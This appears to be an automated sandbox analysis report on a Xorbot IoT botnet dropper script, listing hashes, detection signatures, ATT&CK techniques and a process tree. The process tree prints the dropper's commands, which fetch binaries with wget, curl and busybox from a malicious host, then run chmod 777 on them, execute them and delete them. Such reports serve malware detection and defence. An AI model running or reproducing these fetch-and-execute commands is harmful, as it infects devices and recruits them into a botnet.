xorbot | ff24efa277552a7d8467000eebecf294cb704b06c193571cb3e7254b0983d9d9

Analysis

max time kernel
54s
max time network
155s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
02/01/2025, 08:32

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General

Target
bins.sh
Size 10KB
Sample250102-ke97kstlex
SHA256 ff24efa277552a7d8467000eebecf294cb704b06c193571cb3e7254b0983d9d9
MD5 091a1ab979393bf8a8b613a6d96d55be
SHA1 5ae2907819bd26526137be448f3ebba0b41e7cb8
SHA512 530331ffa3fee4be925e190e6a47d4ca39940c49ad105d278a8e2eaa0bdf9450fe54eed467f071a8e034749323fd332f32e76172e5b84362ba67623afcfe1e90
SSDEEP 192:hxX/MZNLFt3OLrY5VESaZKbYQSafX/MZN2LrY5VBZ:hQFteLrY5VkKbYILrY5VH
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 5 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot
behavioral3/files/fstream-5.dat	family_xorbot
behavioral3/files/fstream-7.dat	family_xorbot
behavioral3/files/fstream-9.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (794) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
770	chmod
797	chmod
730	chmod
739	chmod
750	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh	731	GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
/tmp/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro	740	WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
/tmp/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f	751	WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
/tmp/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n	771	6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
/tmp/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl	799	fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Reads runtime system information 6 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 18 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
706	wget
803	wget
735	wget
736	curl
743	wget
749	busybox
791	busybox
726	busybox
755	curl
775	wget
809	curl
715	curl
738	busybox
744	curl
754	wget
766	busybox
783	curl
817	busybox

Writes file to tmp directory 16 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n	wget
File opened for modification	/tmp/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl	curl
File opened for modification	/tmp/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl	busybox
File opened for modification	/tmp/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro	wget
File opened for modification	/tmp/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro	curl
File opened for modification	/tmp/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl	wget
File opened for modification	/tmp/AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub	curl
File opened for modification	/tmp/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh	curl
File opened for modification	/tmp/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f	busybox
File opened for modification	/tmp/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f	wget
File opened for modification	/tmp/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh	wget
File opened for modification	/tmp/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh	busybox
File opened for modification	/tmp/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n	curl
File opened for modification	/tmp/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n	busybox
File opened for modification	/tmp/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro	busybox
File opened for modification	/tmp/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:698
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:704
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:715
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:726
- /bin/chmod
  chmod 777 GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
  ./GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
  2⤵
  PID:733
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:735
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738
- /bin/chmod
  chmod 777 WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
  ./WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
  2⤵
  PID:742
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
  ./WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
  2⤵
  PID:753
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:754
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:755
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:766
- /bin/chmod
  chmod 777 6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
  ./6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm 6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
  2⤵
  PID:774
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:775
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:783
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod 777 fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl
  ./fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl
  2⤵
  - Executes dropped EXE
  PID:799
- /bin/rm
  rm fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl
  2⤵
  PID:801
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub
  2⤵
  - System Network Configuration Discovery
  PID:803
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub
  2⤵
  - System Network Configuration Discovery
  PID:817

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n

Path /tmp/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
Size 117KB
SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
MD5 849fa04ef88a8e8de32cb2e8538de5fe
SHA1 c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA512 2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
SSDEEP 3072:VozXHIisGFgyKB7xlBAUNFd4vm4QbZJmf35zPp:bGmyKBxl2U+vm4QbZJm/5zPp
MD5 SHA1 SHA512 SSDEEP

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AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub

Path /tmp/AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub
Size 177KB
SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
MD5 786d75a158fe731feca3880f436082c0
SHA1 79ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA512 7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
SSDEEP 3072:PJtid2ng8w4YMrgUqqdaODUvI7UhTIyU2be6CXuVyZM/9h9XKvtZmmmLdwC7tuRD:BtiGGqaODUvI4hc2bvCXuVoM/9PXwPmK
MD5 SHA1 SHA512 SSDEEP

Submit Download

GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh

Path /tmp/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
Size 127KB
SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
MD5 89077b7bd4bcafca7713be43635c4862
SHA1 fc02edb8fba29ea8ee99e6157ef8560334530052
SHA512 1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
SSDEEP 3072:fgO463guSRVw5OhgfgnoHOIcv6Gosjr7fxmxKjQVnaMk9H8p:4ZmgoHONvposj3fxmxKjQVnal9H8p
MD5 SHA1 SHA512 SSDEEP

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WVY2GazNcYNI3s4dIcRvXigaVaznamRzro

Path /tmp/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
Size 111KB
SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
MD5 ca897a38f23ec23521ce0b1b83f8422d
SHA1 b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA512 10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
SSDEEP 3072:/hn2ZF7rLLveDuceOZ8r4xcG0m/pOQbZJXx35zzp:QZF7rLLveDYOZa46G0m/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

Submit Download

WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f

Path /tmp/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
Size 107KB
SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
MD5 eb9c3a0de91fcf16ba17cb24608df68c
SHA1 09d95a7d70d5e115d103be51edff7c498d272fac
SHA512 9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
SSDEEP 3072:97fy8kXAidixidg9l8GTmNFbimQdbZ0r135z8J:9ygrhmNFGmQdbZ0rt5z8J
MD5 SHA1 SHA512 SSDEEP

Submit Download

fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl

Path /tmp/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl
Size 112KB
SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
MD5 05d7857dcead18bbd86d2935f591873c
SHA1 34d18f41ef35f93d5364ce3e24d74730a4e91985
SHA512 d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
SSDEEP 3072:o0pHqiUxCoypP1Xyukbt56UFQ71SMSmUHM5RmNtbm9c:REOtiukxc3SmUHM5Rm/bm9c
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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